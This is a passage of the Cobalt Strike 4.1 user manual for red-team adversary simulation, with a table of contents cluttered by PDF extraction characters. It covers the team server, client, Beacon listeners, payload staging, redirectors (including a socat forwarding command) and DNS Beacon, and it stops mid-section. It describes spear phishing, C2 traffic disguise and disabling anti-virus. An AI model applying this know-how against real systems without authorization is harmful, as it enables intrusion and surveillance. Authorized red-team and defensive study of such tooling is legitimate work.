295–296 Z 7-Zip, 83 Index
pdf
4.1 Manual Strategic Cyber LLC (A HelpSystems Company) www.cobaltstrike.com/ / 2/ Table of Contents Table&of&Contents&..................................................................................................................................&2/ 1.&Welcome&to&Cobalt&Strike&..............................................................................................................&6/ 1.1#What#is#Cobalt#Strike?#............................................................................................................................#6/ 1.2#Installation#and#Updates#.......................................................................................................................#7/ System'Requirements'...................................................................................................................................................'7/ Run'the'‘update’'program'............................................................................................................................................'7/ 1.3#The#Team#Server#......................................................................................................................................#8/ 1.4#Cobalt#Strike#Client#.................................................................................................................................#9/ 1.5#Distributed#and#Team#Operations#...................................................................................................#10/ 1.6#Scripting#Cobalt#Strike#.........................................................................................................................#11/ 2.&User&Interface&.................................................................................................................................&12/ 2.1#Overview#...................................................................................................................................................#12/ 2.2#Toolbar#......................................................................................................................................................#12/ 2.3#Session#and#Target#Visualizations#...................................................................................................#13/ Targets'Table'.................................................................................................................................................................'13/ Sessions'Table'...............................................................................................................................................................'14/ Pivot'Graph'.....................................................................................................................................................................'14/ 2.4#Tabs#............................................................................................................................................................#16/ 2.5#Consoles#....................................................................................................................................................#16/ 2.6#Tables#........................................................................................................................................................#17/ 3.&Data&Management&..........................................................................................................................&19/ 3.1#Overview#...................................................................................................................................................#19/ 3.2#Targets#......................................................................................................................................................#19/ 3.3#Services#.....................................................................................................................................................#20/ 3.4#Credentials#...............................................................................................................................................#20/ 3.5#Maintenance#............................................................................................................................................#20/ 4.&Listener&and&Infrastructure&Management&.............................................................................&21/ 4.1#Overview#...................................................................................................................................................#21/ 4.2#Listener#Management#..........................................................................................................................#21/ 4.3#Cobalt#Strike’s#Beacon#Payload#.........................................................................................................#21/ 4.4#Payload#Staging#......................................................................................................................................#22/ 4.5#HTTP#Beacon#and#HTTPS#Beacon#.....................................................................................................#22/ Manual'HTTP'Proxy'Configuration'......................................................................................................................'24/ Redirectors'......................................................................................................................................................................'24/ 4.6#DNS#Beacon#..............................................................................................................................................#25/ Data'Channels'................................................................................................................................................................'25/ Listener'Setup'................................................................................................................................................................'26/ 4.7#SMB#Beacon#.............................................................................................................................................#27/ Linking'and'Unlinking'................................................................................................................................................'27/ 4.8#TCP#Beacon#..............................................................................................................................................#28/ Connecting'and'Unlinking'........................................................................................................................................'29/ 4.9#External#C2#...............................................................................................................................................#29/ 4.10#Foreign#Listeners#................................................................................................................................#30/ 4.11#Infrastructure#Consolidation#..........................................................................................................#30/ 4.12#Payload#Security#Features#................................................................................................................#31/ www.cobaltstrike.com/ / 3/ 5.&Getting&a&Foothold&.........................................................................................................................&32/ 5.1#Client-side#System#Profiler#.................................................................................................................#32/ 5.2#Cobalt#Strike#Web#Services#.................................................................................................................#32/ 5.3#User-driven#Attack#Packages#.............................................................................................................#32/ HTML'Application'........................................................................................................................................................'33/ MS'Office'Macro'............................................................................................................................................................'33/ Payload'Generator'.......................................................................................................................................................'33/ Windows'Executable'..................................................................................................................................................'33/ Windows'Executable'(S)'...........................................................................................................................................'33/ 5.4#Hosting#Files#............................................................................................................................................#34/ 5.5#User-driven#Web#Drive-by#Attacks#..................................................................................................#34/ Java'Signed'Applet'Attack'.........................................................................................................................................'34/ Java'Smart'Applet'Attack'..........................................................................................................................................'34/ Scripted'Web'Delivery'(S)'........................................................................................................................................'34/ 5.6#Client-side#Exploits#...............................................................................................................................#35/ 5.7#Clone#a#Site#...............................................................................................................................................#35/ 5.8#Spear#Phishing#........................................................................................................................................#36/ Targets'..............................................................................................................................................................................'36/ Templates'........................................................................................................................................................................'36/ Sending'Messages'........................................................................................................................................................'37/ 6.&Payload&Artifacts&and&Anti-virus&Evasion&..............................................................................&39/ 6.1#Philosophy#...............................................................................................................................................#39/ 6.2#The#Artifact#Kit#.......................................................................................................................................#39/ The'Theory'of'the'Artifact'Kit'.................................................................................................................................'39/ Where'Artifact'Kit'Fails'.............................................................................................................................................'40/ How'to'use'the'Artifact'Kit'.......................................................................................................................................'40/ 6.3#The#Veil#Evasion#Framework#.............................................................................................................#41/ 6.4#Java#Applet#Attacks#...............................................................................................................................#41/ 6.5#The#Resource#Kit#....................................................................................................................................#42/ 7.&Post&Exploitation&............................................................................................................................&43/ 7.1#The#Beacon#Console#..............................................................................................................................#43/ 7.2#The#Beacon#Menu#..................................................................................................................................#43/ 7.3#Asynchronous#and#Interactive#Operations#...................................................................................#44/ 7.4#Running#Commands#..............................................................................................................................#44/ 7.5#Session#Passing#.......................................................................................................................................#45/ 7.6#Alternate#Parent#Processes#................................................................................................................#46/ 7.7#Spoof#Process#Arguments#...................................................................................................................#46/ 7.8#Blocking#DLLs#in#Child#Processes#.....................................................................................................#47/ 7.9#Upload#and#Download#Files#................................................................................................................#47/ 7.10#File#Browser#..........................................................................................................................................#47/ 7.11#File#System#Commands#......................................................................................................................#48/ 7.12#The#Windows#Registry#......................................................................................................................#48/ 7.13#Keystrokes#and#Screenshots#...........................................................................................................#49/ 7.14#Post-Exploitation#Jobs#.......................................................................................................................#49/ 7.15#The#Process#Browser#.........................................................................................................................#49/ 7.16#Desktop#Control#...................................................................................................................................#50/ 7.17#Privilege#Escalation#............................................................................................................................#52/ Elevate'with'an'Exploit'..............................................................................................................................................'52/ Elevate'with'Known'Credentials'...........................................................................................................................'53/ www.cobaltstrike.com/ / 4/ Get'SYSTEM'.....................................................................................................................................................................'53/ UAC'Bypass'.....................................................................................................................................................................'53/ Privileges'.........................................................................................................................................................................'54/ 7.18#Mimikatz#................................................................................................................................................#54/ 7.19#Credential#and#Hash#Harvesting#....................................................................................................#54/ 7.20#Port#Scanning#.......................................................................................................................................#54/ 7.21#Network#and#Host#Enumeration#....................................................................................................#55/ 7.22#Trust#Relationships#............................................................................................................................#55/ Kerberos'Tickets'...........................................................................................................................................................'55/ 7.23#Lateral#Movement#...............................................................................................................................#56/ 7.24#Lateral#Movement#GUI#.......................................................................................................................#57/ 8.&Browser&Pivoting&...........................................................................................................................&58/ 8.1#Overview#...................................................................................................................................................#58/ 8.2#Setup#..........................................................................................................................................................#59/ 8.3#Use#..............................................................................................................................................................#60/ 8.4#How#it#Works#...........................................................................................................................................#60/ 9.&Pivoting&.............................................................................................................................................&61/ 9.1#What#is#Pivoting#.....................................................................................................................................#61/ 9.2#SOCKS#Proxy#............................................................................................................................................#61/ Proxychains'....................................................................................................................................................................'61/ Metasploit'........................................................................................................................................................................'61/ 9.3#Reverse#Port#Forward#..........................................................................................................................#62/ 9.4#Pivot#Listeners#........................................................................................................................................#62/ 9.5#Covert#VPN#...............................................................................................................................................#63/ 10.&SSH&Sessions&..................................................................................................................................&65/ 10.1#The#SSH#Client#......................................................................................................................................#65/ 10.2#Running#Commands#...........................................................................................................................#65/ 10.3#Upload#and#Download#Files#.............................................................................................................#65/ 10.4#Peer-to-peer#C2#....................................................................................................................................#65/ 10.5#SOCKS#Pivoting#and#Reverse#Port#Forwards#..............................................................................#66/ 11.&Malleable&Command&and&Control&..........................................................................................&67/ 11.1#Overview#................................................................................................................................................#67/ 11.2#Checking#for#Errors#............................................................................................................................#67/ 11.3#Profile#Language#..................................................................................................................................#67/ Data'Transform'Language'........................................................................................................................................'69/ Strings'...............................................................................................................................................................................'70/ Headers'and'Parameters'...........................................................................................................................................'70/ Options'..............................................................................................................................................................................'71/ 11.4#HTTP#Staging#........................................................................................................................................#72/ 11.5#A#Beacon#HTTP#Transaction#Walk-through#...............................................................................#73/ 11.6#HTTP#Server#Configuration#.............................................................................................................#75/ 11.7#Self-signed#SSL#Certificates#with#SSL#Beacon#.............................................................................#75/ 11.8#Valid#SSL#Certificates#with#SSL#Beacon#........................................................................................#76/ 11.9#Profile#Variants#....................................................................................................................................#77/ 11.10#Code#Signing#Certificate#..................................................................................................................#77/ 11.11#Which#is#more#dangerous,#Malleable#C2#or#a#swimming#pool?#.........................................#78/ 12.&Malleable&PE,&Process&Injection,&and&Post&Exploitation&.................................................&79/ www.cobaltstrike.com/ / 5/ 12.1#Overview#................................................................................................................................................#79/ 12.2#PE#and#Memory#Indicators#...............................................................................................................#79/ Cloning'PE'Headers'.....................................................................................................................................................'80/ In-memory'Evasion'and'Obfuscation'..................................................................................................................'80/ 12.3#Process#Injection#.................................................................................................................................#81/ 12.4#Post#Exploitation#Jobs#........................................................................................................................#83/ 13.&Reporting&and&Logging&..............................................................................................................&85/ 13.1#Logging#....................................................................................................................................................#85/ 13.2#Reports#...................................................................................................................................................#85/ Activity'Report'..............................................................................................................................................................'86/ Hosts'Report'...................................................................................................................................................................'86/ Indicators'of'Compromise'........................................................................................................................................'87/ Sessions'Report'.............................................................................................................................................................'88/ Social'Engineering'.......................................................................................................................................................'88/ Tactics,'Techniques,'and'Procedures'..................................................................................................................'88/ 13.3#Custom#Logo#in#Reports#....................................................................................................................#89/ 13.4#Custom#Reports#...................................................................................................................................#89/ Appendix&A.&Keyboard&Shortcuts&..................................................................................................&90/ Last Updated: June 24, 2020 www.cobaltstrike.com/ / 6/ 1. Welcome to Cobalt Strike 1.1 What is Cobalt Strike? Cobalt Strike is a platform for adversary simulations and red team operations. The product is designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors. This sector describes the attack process supported by Cobalt Strike’s feature set. The rest of this manual discusses these features in detail. Figure 1. The Offense Problem Set A thought-out targeted attack begins with reconnaissance. Cobalt Strike’s system profiler is a web application that maps your target’s client-side attack surface. The insights gleaned from reconnaissance will help you understand which options have the best chance of success on your target. Weaponization is pairing a post-exploitation payload with a document or exploit that will execute it on target. Cobalt Strike has options to turn common documents into weaponized artifacts. Cobalt Strike also has options to export its post-exploitation payload, Beacon, in a variety of formats for pairing with artifacts outside of this toolset. Use Cobalt Strike’s spear phishing tool to deliver your weaponized document to one or more people in your target’s network. Cobalt Strike’s phishing tool repurposes saved emails into pixel- perfect phishes. Control your target’s network with Cobalt Strike’s Beacon. This post-exploitation payload uses an asynchronous “low and slow” communication pattern that’s common with advanced threat malware. Beacon will phone home over DNS, HTTP, or HTTPS. Beacon walks through common proxy configurations and calls home to multiple hosts to resist blocking. www.cobaltstrike.com/ / 7/ Exercise your target’s attack attribution and analysis capability with Beacon’s Malleable Command and Control language. Reprogram Beacon to use network indicators that look like known malware or blend in with existing traffic. Pivot into the compromised network, discover hosts, and move laterally with Beacon’s helpful automation and peer-to-peer communication over named pipes and TCP sockets. Cobalt Strike is optimized to capture trust relationships and enable lateral movement with captured credentials, password hashes, access tokens, and Kerberos tickets. Demonstrate meaningful business risk with Cobalt Strike’s user-exploitation tools. Cobalt Strike’s workflows make it easy to deploy keystroke loggers and screenshot capture tools on compromised systems. Use browser pivoting to gain access to websites that your compromised target is logged onto with Internet Explorer. This Cobalt Strike-only technique works with most sites and bypasses two-factor authentication. Cobalt Strike’s reporting features reconstruct the engagement for your client. Provide the network administrators an activity timeline so they may find attack indicators in their sensors. Cobalt Strike generates high quality reports that you may present to your clients as stand-alone products or use as appendices to your written narrative. Throughout each of the above steps, you will need to understand the target environment, its defenses, and reason about the best way to meet your objectives with what is available to you. This is evasion. It is not Cobalt Strike’s goal to provide evasion out-of-the-box. Instead, the product provides flexibility, both in its potential configurations and options to execute offense actions, to allow you to adapt the product to your circumstance and objectives. 1.2 Installation and Updates Strategic Cyber LLC distributes Cobalt Strike packages as native archives for Windows, Linux, and MacOS X. To install Cobalt Strike, simply extract its archive onto your operating system. System Requirements Cobalt Strike requires Oracle Java 1.8, Oracle Java 11, or OpenJDK 11. If you have an anti-virus product on your system, make sure you disable it before you install Cobalt Strike. Run the ‘update’ program The Cobalt Strike distribution package contains the Cobalt Strike launcher(s) for that system, supporting files, and the updater program. It does not contain the Cobalt Strike program itself. You must run the update program to download the Cobalt Strike product. www.cobaltstrike.com/ / 8/ Figure 2. The Update Process (Nice try, but the pictured key is no longer valid) Make sure you update both your team server and client software with your license key. Cobalt Strike is generally licensed on a per user basis. The team server does not require a separate license. 1.3 The Team Server Cobalt Strike is split into a client and a server component. The server, referred to as the team server, is the controller for the Beacon payload and the host for Cobalt Strike’s social engineering features. The team server also stores data collected by Cobalt Strike and it manages logging. The Cobalt Strike team server must run on a supported Linux system. To start a Cobalt Strike team server, use the teamserver script included with the Cobalt Strike Linux package. Figure 3. Starting the Team Server The team server has two mandatory parameters and two optional parameters. The first is the externally reachable IP address of the team server. Cobalt Strike uses this value as a default host for its features. The second is the password your team members will use to connect the Cobalt Strike client to the team server. The third parameter is optional. This parameter specifies a Malleable C2 Profile. Chapters 11 and 12 discuss this feature. The fourth parameter is also optional. This parameter specifies a kill date in YYYY-MM-DD format. The team server will embed this kill date into each Beacon stage it generates. The Beacon payload will refuse to run on or after this date. The Beacon payload will also exit if it wakes up on or after this date as well. www.cobaltstrike.com/ / 9/ When the team server starts, it will publish the SHA256 hash of the team server’s SSL certificate. Distribute this hash to your team members. When your team members connect, their Cobalt Strike client will ask if they recognize this hash before it authenticates to the team server. This is an important protection against man-in-the-middle attacks. 1.4 Cobalt Strike Client The Cobalt Strike client connects to the team server. To start the Cobalt Strike client, use the launcher included with your platform’s package. You will see a connect dialog when the Cobalt Strike client starts. Figure 4. Cobalt Strike Connect Dialog Specify your team server’s address in the Host field. The default Port for the team server is 50050. There’s rarely a reason to change this. The User field is your nickname on the team server. Change this to your call sign, handle, or made-up hacker fantasy name. The Password field is the shared password for the team server. Press Connect to connect to the Cobalt Strike team server. If this is your first connection to this team server, Cobalt Strike will ask if you recognize the SHA256 hash of this team server. If you do, press OK, and the Cobalt Strike client will connect to the server. Cobalt Strike will also remember this SHA256 hash for future connections. You may manage these hashes through Cobalt Strike -> Preferences -> Fingerprints. www.cobaltstrike.com/ / 10/ Figure 5. Verifying the server’s SSL certificate Cobalt Strike keeps track of the team servers you connect to and remembers your information. Select one of these team server profiles from the left-hand-side of the connect dialog to populate the connect dialog with its information. You may also prune this list through Cobalt Strike -> Preferences -> Team Servers. 1.5 Distributed and Team Operations Use Cobalt Strike to coordinate a distributed red team effort. Stage Cobalt Strike on one or more remote hosts. Start your team servers and have your team connect. Figure 6. Distributed Operations with Cobalt Strike Once connected to a team server, your team will: • Use/the/same/sessions/ • Share/hosts,/captured/data,/and/downloaded/files/ • Communicate/through/a/shared/event/log./ / The Cobalt Strike client may connect to multiple team servers. Go to Cobalt Strike -> New Connection to initiate a new connection. When connected to multiple servers, a switchbar will show up at the bottom of your Cobalt Strike window. www.cobaltstrike.com/ / 11/ Figure 7. Server Switchbar This switchbar allows you to switch between active Cobalt Strike server instances. Each server has its own button. Right-click a button and select Rename to make the button’s text reflect the role of the server during your engagement. This button name will also identify the server in the Cobalt Strike Activity Report.. When connected to multiple servers, Cobalt Strike aggregates listeners from all of the servers it’s connected to. This aggregation allows you to send a phishing email from one server that references a malicious website hosted on another server. At the end of your engagement, Cobalt Strike’s reporting feature will query all of the servers you’re connected to and merge the data to tell one story. 1.6 Scripting Cobalt Strike Cobalt Strike is scriptable through its Aggressor Script language. Aggressor Script is the spiritual successor to Armitage’s Cortana scripting language. The two are not compatible though. To manage scripts, go to Cobalt Strike -> Script Manager. Figure 8. Script Manager A default script inside of Cobalt Strike defines all of Cobalt Strike’s popup menus and formats information displayed in Cobalt Strike’s consoles. Through the Aggressor Script engine, you may override these defaults and customize Cobalt Strike to your preferences. You may also use Aggressor Script to add new features to Cobalt Strike’s Beacon and to automate certain tasks. To learn more about Aggressor Script, consult its documentation at: • https://www.cobaltstrike.com/aggressor-script// www.cobaltstrike.com/ / 12/ 2. User Interface 2.1 Overview The Cobalt Strike user interface is split into two parts. The top of the interface shows a visualization of sessions or targets. The bottom of the interface displays tabs for each Cobalt Strike feature or session you interact with. You may click the area between these two parts and resize them to your liking. Figure 9. Cobalt Strike User Interface 2.2 Toolbar The toolbar at the top of Cobalt Strike offers quick access to common Cobalt Strike functions. Knowing the toolbar buttons will speed up your use of Cobalt Strike considerably. Connect to another team server Disconnect from the current team server Create and edit Cobalt Strike’s listeners Change to the “Pivot Graph” visualization www.cobaltstrike.com/ / 13/ Change to the “Session Table” visualization Change to the “Target Table” visualization View credentials View downloaded files View keystrokes View screenshots Generate a stageless Cobalt Strike executable or DLL Setup the Java Signed Applet attack Generate a malicious Microsoft Office macro Stand up a stageless Scripted Web Delivery attack Host a file on Cobalt Strike’s web server Manage files and applications hosted on Cobalt Strike’s web server Visit the Cobalt Strike support page About Cobalt Strike 2.3 Session and Target Visualizations Cobalt Strike has several visualizations each designed to aid a different part of your engagement. You may switch between visualizations through the toolbar or the Cobalt Strike -> Visualization menu. Targets Table The Targets Table shows the targets in Cobalt Strike’s data model. The targets table displays the IP address of each target, its NetBIOS name, and a note that you or one of your team members assigned to the target. The icon to the left of a target indicates its operating system. A red icon with lightning bolts indicates that the target has a Cobalt Strike Beacon session associated with it. Figure 10. Cobalt Strike Targets View www.cobaltstrike.com/ / 14/ Click any of the table headers to sort the hosts. Highlight a row and right-click it to bring up a menu with options for that host. Press Ctrl and Alt and click to select and deselect individual hosts. The target’s table is a useful for lateral movement and to understand your target’s network. Sessions Table The sessions table shows which Beacons are calling home to this Cobalt Strike instance. Beacon is Cobalt Strike’s payload to emulate advanced threat actors. Here, you will see the external IP address of each Beacon, the internal IP address, the egress listener for that Beacon, when the Beacon last called home, and other information. Next to each row is an icon indicating the operating system of the compromised target. If the icon is red with lightning bolts, the Beacon is running in a process with administrator privileges. A faded icon indicates that the Beacon session was asked to exit and it acknowledged this command. Figure 11. Cobalt Strike Beacon Management Tool If you use a DNS Beacon listener, be aware that Cobalt Strike will not know anything about a host until it checks in for the first time. If you see an entry with a last call time and that’s it, you will need to give that Beacon its first task to see more information. Right-click one or more Beacon’s to see your post-exploitation options. Pivot Graph Cobalt Strike has the ability to link multiple Beacons into a chain. These linked Beacons receive their commands and send their output through the parent Beacon in their chain. This type of chaining is useful to control which sessions egress a network and to emulate a disciplined actor who restricts their communication paths inside of a network to something plausible. This chaining of Beacons is one of the most powerful features in Cobalt Strike. Cobalt Strike’s workflows make this chaining very easy. It’s not uncommon for Cobalt Strike operators to chain Beacons four or five levels deep on a regular basis. Without a visual aid it’s very difficult to keep track of and understand these chains. This is where the Pivot Graph comes in. The Pivot Graph shows your Beacon chains in a natural way. Each Beacon session has an icon. As with the sessions table: the icon for each host indicates its operating system. If the icon is red with lightning bolts, the Beacon is running in a process with administrator privileges. A darker icon indicates that the Beacon session was asked to exit and it acknowledged this command. www.cobaltstrike.com/ / 15/ The firewall icon represents the egress point of your Beacon payload. A dashed green line indicates the use of beaconing HTTP or HTTPS connections to leave the network. A yellow dashed line indicates the use of DNS to leave the network. Figure 12. Cobalt Strike Graph View An arrow connecting one Beacon session to another represents a link between two Beacons. Cobalt Strike’s Beacon uses Windows named pipes and TCP sockets to control Beacons in this peer-to-peer fashion. An orange arrow is a named pipe channel. SSH sessions use an orange arrow as well. A blue arrow is a TCP socket channel. A red (named pipe) or purple (TCP) arrow indicates that a Beacon link is broken. Click a Beacon to select it. You may select multiple Beacons by clicking and dragging a box over the desired hosts. Press Ctrl and Shift and click to select or unselect an individual Beacon. Right-click a Beacon to bring up a menu with available post-exploitation options. Several keyboard shortcuts are available in the Pivot Graph. • Ctrl+Plus/—/zoom/in/ • Ctrl+Minus/—/zoom/out/ • Ctrl+0&—/reset/the/zoom/level/ • Ctrl+A/—/select/all/hosts/ • Escape/—/clear/selection/ • Ctrl+C/—/arrange/hosts/into/a/circle/ • Ctrl+S/—/arrange/hosts/into/a/stack/ www.cobaltstrike.com/ / 16/ • Ctrl+H/—/arrange/hosts/into/a/hierarchy.// / Right-click the Pivot Graph with no selected Beacons to configure the layout of this graph. This menu also has an Unlinked menu. Select Hide to hide unlinked sessions in the pivot graph. Select Show to show unlinked sessions again. 2.4 Tabs Cobalt Strike opens each dialog, console, and table in a tab. Click the X button to close a tab. Use Ctrl+D to close the active tab. Ctrl+Shift+D will close all tabs except the active on. You may right-click the X button to open a tab in a window, take a screenshot of a tab, or close all tabs with the same name. Keyboard shortcuts exist for these functions too. Use Ctrl+W to open the active tab in its own window. Use Ctrl+T to quickly save a screenshot of the active tab. Ctrl+B will send the current tab to the bottom of the Cobalt Strike window. This is useful for tabs that you need to constantly watch. Ctrl+E will undo this action and remove the tab at the bottom of the Cobalt Strike window. Hold shift and click X to close all tabs with the same name. Hold shift + control and click X to open the tab in its own window. Use Ctrl+Left and Ctrl+Right to quickly switch tabs. You may drag and drop tabs to change their order. 2.5 Consoles Cobalt Strike provides a console to interact with Beacon sessions, scripts, and chat with your teammates. Figure 13. A Console Tab www.cobaltstrike.com/ / 17/ The consoles track your command history. Use the up arrow to cycle through previously typed commands. The down arrow moves back to the last command you typed. Use the Tab key to complete commands and parameters. Use Ctrl+Plus to make the console font size larger, Ctrl+Minus to make it smaller, and Ctrl+0 to reset it. This change is local to the current console only. Visit Cobalt Strike -> Preferences to permanently change the font. Press Ctrl+F to show a panel that will let you search for text within the console. Use Ctrl+A to select all text in the console’s buffer. 2.6 Tables Cobalt Strike uses tables to display sessions, credentials, targets, and other engagement information. Most tables in Cobalt Strike have an option to assign a color highlight to the highlighted rows. These highlights are visible to other Cobalt Strike clients. Right-click and look for the Color menu. Press Ctrl+F within a table to show the table search panel. This feature lets you filter the current table. Figure 14. Table with Search Panel The text field is where you type your filter criteria. The format of the criteria depends on the column you choose to apply the filter to. Use CIDR notation (e.g., 192.168.1.0/24) and host ranges (192.168.1-192.169.200) to filter columns that contain addresses. Use numbers or ranges of numbers for columns that contain numbers. Use wildcard characters (*, ?) to filter columns that contain strings. www.cobaltstrike.com/ / 18/ The ! button negates the current criteria. Press enter to apply the specified criteria to the current table. You may stack as many criteria together as you like. The Reset button will remove the filters applied to the current table. www.cobaltstrike.com/ / 19/ 3. Data Management 3.1 Overview Cobalt Strike’s team server is a broker for information collected by Cobalt Strike during your engagement. Cobalt Strike parses output from its Beacon payload to extract targets, services, and credentials. If you’d like to export Cobalt Strike’s data, you may do so through Reporting -> Export Data. Cobalt Strike provides options to export its data as TSV and XML files. The Cobalt Strike client’s export data feature will merge data from all of the team servers you’re currently connected to. 3.2 Targets You may interact with Cobalt Strike’s target information through View -> Targets. This tab displays the same information as the Targets Visualization. Press Import to import a file with target information. Cobalt Strike accepts flat text files with one host per line. It also accepts XML files generated by Nmap (the –oX option). Press Add to add new targets to Cobalt Strike’s data model. Figure 15. Add a Target This dialog allows you to add multiple hosts to Cobalt Strike’s database. Specify a range of IP addresses or use CIDR notation in the Address field to add multiple hosts at one time. Hold down shift when you click Save to add hosts to the data model and keep this dialog open. Select one or more hosts and right-click to bring up the hosts menu. This menu is where you change the note on the hosts, set their operating system information, or remove the hosts from the data model. www.cobaltstrike.com/ / 20/ 3.3 Services From a targets display, right-click a host, and select Services. This will open Cobalt Strike’s services browser. Here you may browse services, assign notes to different services, and remove service entries as well. Figure 16. The Services Dialog/ 3.4 Credentials Go to View -> Credentials to interact with Cobalt Strike’s credential model. Press Add to add an entry to the credential model. Again, you may hold shift and press Save to keep the dialog open and make it easier to add new credentials to the model. Press Copy to copy the highlighted entries to your clipboard. Use Export to export credentials in PWDump format. Figure 17. The Credential Model 3.5 Maintenance Cobalt Strike’s data model keeps all of its state and state metadata in the data/ folder. This folder exists in the folder you ran the Cobalt Strike team server from. To clear Cobalt Strike’s data model: stop the team server, delete the data/ folder, and its contents. Cobalt Strike will recreate the data/ folder when you start the team server next. If you’d like to archive the data model, stop the team server, and use your favorite program to store the data/ folder and its files elsewhere. To restore the data model, stop the team server, and restore the old content to the data/ folder. Reporting -> Reset Data resets Cobalt Strike’s Data Model without a team server restart. www.cobaltstrike.com/ / 21/ 4. Listener and Infrastructure Management 4.1 Overview The first step of any engagement is to setup infrastructure. In Cobalt Strike’s case, infrastructure consists of one or more team servers, redirectors, and DNS records that point to your team servers and redirectors. Once you have a team server up and running, you will want to connect to it, and configure it to receive connections from compromised systems. Listeners are Cobalt Strike’s mechanism to do this. A listener is simultaneously configuration information for a payload and a directive for Cobalt Strike to stand up a server to receive connections from that payload. A listener consists of a user- defined name, the type of payload, and several payload-specific options. 4.2 Listener Management To manage Cobalt Strike listeners, go to Cobalt Strike -> Listeners. This will open a tab listing all of your configured payloads and listeners. Figure 18. Listener Management Tab Press Add to create a new listener. When you create a listener, make sure you give it a memorable name. This name is how you will refer to this listener through Cobalt Strike’s commands and workflows. To edit a listener, highlight a listener and press Edit. To remove a listener, highlight the listener and press Remove. 4.3 Cobalt Strike’s Beacon Payload Most commonly, you will configure listeners for Cobalt Strike’s Beacon payload. Beacon is Cobalt Strike’s payload to model advanced attackers. Use Beacon to egress a network over HTTP, HTTPS, or DNS. You may also limit which hosts egress a network by controlling peer- to-peer Beacons over Windows named pipes and TCP sockets. www.cobaltstrike.com/ / 22/ Beacon is flexible and supports asynchronous and interactive communication. Asynchronous communication is low and slow. Beacon will phone home, download its tasks, and go to sleep. Interactive communication happens in real-time. Beacon’s network indicators are malleable. Redefine Beacon’s communication with Cobalt Strike’s malleable C2 language. This allows you to cloak Beacon activity to look like other malware or blend-in as legitimate traffic. Chapter 11 discusses this feature. 4.4 Payload Staging One topic that deserves mention, as background information, is payloading staging. Many attack frameworks decouple the attack from the stuff that the attack executes. This stuff that an attack executes is known as a payload. Payloads are often divided into two parts: the payload stage and the payload stager. A stager is a small program, usually hand-optimized assembly, that downloads a payload stage, injects it into memory, and passes execution to it. This process is known as staging. The staging process is necessary in some offense actions. Many attacks have hard limits on how much data they can load into memory and execute after successful exploitation. This greatly limits your post-exploitation options, unless you deliver your post-exploitation payload in stages. Cobalt Strike does use staging in its user-driven attacks. These are most of the items under Attacks -> Packages and Attacks -> Web Drive-by. The stagers used in these places depend on the payload paired with the attack. For example, the HTTP Beacon has an HTTP stager. The DNS Beacon has a DNS TXT record stager. Not all payloads have stager options. Payloads with no stager cannot be delivered with these attack options. If you don’t need payload staging, you can turn it off. Set the host_stage option in your Malleable C2 profile to false. This will prevent Cobalt Strike from hosting payload stages on its web and DNS servers. There is a big OPSEC benefit to doing this. With staging on, anyone can connect to your server, request a payload, and analyze its contents to find information from your payload configuration. In Cobalt Strike 4.0 and later, post-exploitation and lateral movement actions eschew stagers and opt to deliver a full payload where possible. If you disable payload staging, you shouldn’t notice it once you’re ready to do post-exploitation. 4.5 HTTP Beacon and HTTPS Beacon The HTTP and HTTPS beacons download tasks with an HTTP GET request. These beacons send data back with an HTTP POST request. This is the default. You have incredible control over the behavior and indicators in this payload via Malleable C2. To stand up an HTTP or HTTPS Beacon listener, go to Cobalt Strike -> Listeners. Press Add. Choose Beacon HTTP as your payload option. www.cobaltstrike.com/ / 23/ Figure 19. HTTP Beacon Options Press [+] to add one or more hosts for the HTTP Beacon to call home to. Press [-] to remove one or more hosts. Press [X] to clear the current hosts. If you have multiple hosts, you can still paste a comma-separated list of callback hosts into this dialog. That’s OK. J The HTTP Host (Stager) field controls the host of the HTTP Stager for the HTTP Beacon. This value is only used if you pair this payload with an attack that requires an explicit stager. The Profile field is where you select a Malleable C2 profile variant. A variant is a way of specifying multiple profile variations in one file. With variants, each HTTP or HTTPS listener you setup can have different network indicators. The HTTP Port (C2) field sets the port your HTTP Beacon will phone home to. The HTTP Port (Bind) field specifies the port your HTTP Beacon payload web server will bind to. These options are useful if you want to setup port bending redirectors (e.g., a redirector that accepts connections on port 80 or 443 but routes the connection to your team server on another port). The HTTP Host Header value, if specified, is propagated to your HTTP stagers and through your HTTP communication. This option makes it easier to take advantage of domain fronting with Cobalt Strike. Press … next to the HTTP Proxy field to specify an explicit proxy configuration for this payload. www.cobaltstrike.com/ / 24/ Manual HTTP Proxy Configuration The (Manual) Proxy Settings dialog offers several options to control the proxy configuration for Beacon’s HTTP and HTTPS requests. The default behavior of Beacon is to use the Internet Explorer proxy configuration for the current process/user context. The Type field configures the type of proxy. The Host and Port fields tell Beacon where the proxy lives. The Username and Password fields are optional. These fields specify the credentials Beacon uses to authenticate to the proxy. Figure 20. Manual Proxy Settings Check the Ignore proxy settings; use direct connection box to force Beacon to attempt its HTTP and HTTPS requests without going through a proxy. Press Set to update the Beacon dialog with the desired proxy settings. Press Reset to set the proxy configuration back to the default behavior. Note: the manual proxy configuration affects the HTTP and HTTPS Beacon payload stages only. It does not propagate to the payload stagers. Redirectors A redirector is a system that sits between your target’s network and your team server. Any connections that come to the redirector are forwarded to your team server to process. A redirector is a way to provide multiple hosts for your Beacon payloads to call home to. A redirector also aids operational security as it makes it harder to trace the true location of your team server. Cobalt Strike’s listener management features support the use of redirectors. Simply specify your redirector hosts when you setup an HTTP or HTTPS Beacon listener. Cobalt Strike does not validate this information. If the host you provide is not affiliated with the current host, Cobalt Strike assumes it’s a redirector. One simple way to turn a server into a redirector is to use socat. www.cobaltstrike.com/ / 25/ Here’s the socat syntax to forward all connections on port 80 to the team server at 192.168.12.100 on port 80: socat TCP4-LISTEN:80,fork TCP4:192.168.12.100:80 4.6 DNS Beacon The DNS Beacon is a favorite Cobalt Strike feature. This payload uses DNS requests to beacon back to you. These DNS requests are lookups against domains that your Cobalt Strike team server is authoritative for. The DNS response tells Beacon to go to sleep or to connect to you to download tasks. The DNS response will also tell the Beacon how to download tasks from your team server. Figure 21. DNS Beacon in Action In Cobalt Strike 4.0 and later, the DNS Beacon is a DNS-only payload. There is no HTTP communication mode in this payload. This is a change from prior versions of the product. Data Channels Today, the DNS Beacon can download tasks over DNS TXT records, DNS AAAA records, or DNS A records. This payload has the flexibility to change between these data channels while its on target. Use Beacon’s mode command to change the current Beacon’s data channel. mode dns is the DNS A record data channel. mode dns6 is the DNS AAAA record channel. And, mode dns-txt is the DNS TXT record data channel. The default is the DNS TXT record data channel. Be aware that DNS Beacon does not check in until there’s a task available. Use the checkin command to request that the DNS Beacon check in next time it calls home. www.cobaltstrike.com/ / 26/ Listener Setup To create a DNS Beacon listener: go to Cobalt Strike -> 